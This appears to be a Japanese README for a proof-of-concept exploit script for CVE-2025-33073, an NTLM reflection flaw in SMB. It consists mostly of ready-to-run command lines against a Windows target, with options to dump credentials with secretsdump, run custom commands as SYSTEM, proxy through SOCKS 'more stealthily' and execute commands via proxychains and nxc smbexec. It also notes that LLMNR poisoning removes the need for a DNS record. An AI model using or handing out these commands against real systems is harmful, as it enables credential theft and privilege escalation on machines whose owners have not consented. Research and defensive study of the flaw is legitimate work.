
NTLMリフレクションSMBの脆弱性に対するPoCエクスプロイト。
NTLMリフレクションSMB脆弱性のPoCエクスプロイト。
すべてのクレジットは公式研究に帰属します:
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
OS: Kali Linux(ほとんどのパッケージがプリインストールされています)。
GUI
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

CLI
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only

カスタムコマンド
secretsdumpを実行する代わりに、カスタムコマンドを実行できます。
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only --custom-command "whoami"

SOCKS
SYSTEMとしての有効な接続確立後、よりステルスにコマンドを実行するためのオプションです。ここでは--targetと--target-ipは同じ値にする必要があります。
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --cli-only --socks
また、SAMのダンプの代わりにproxychains経由でカスタムコマンドを実行することもできます。
proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

デバイスと同じブロードキャストドメインにいて、LLMNRポイズニングに対して脆弱な場合、DNSレコードを登録せずにデバイスをエクスプロイトすることが可能です。

ローカルNTLM認証が行われる場合

ローカルNTLM認証が行われず、FAILEDの試行となる場合
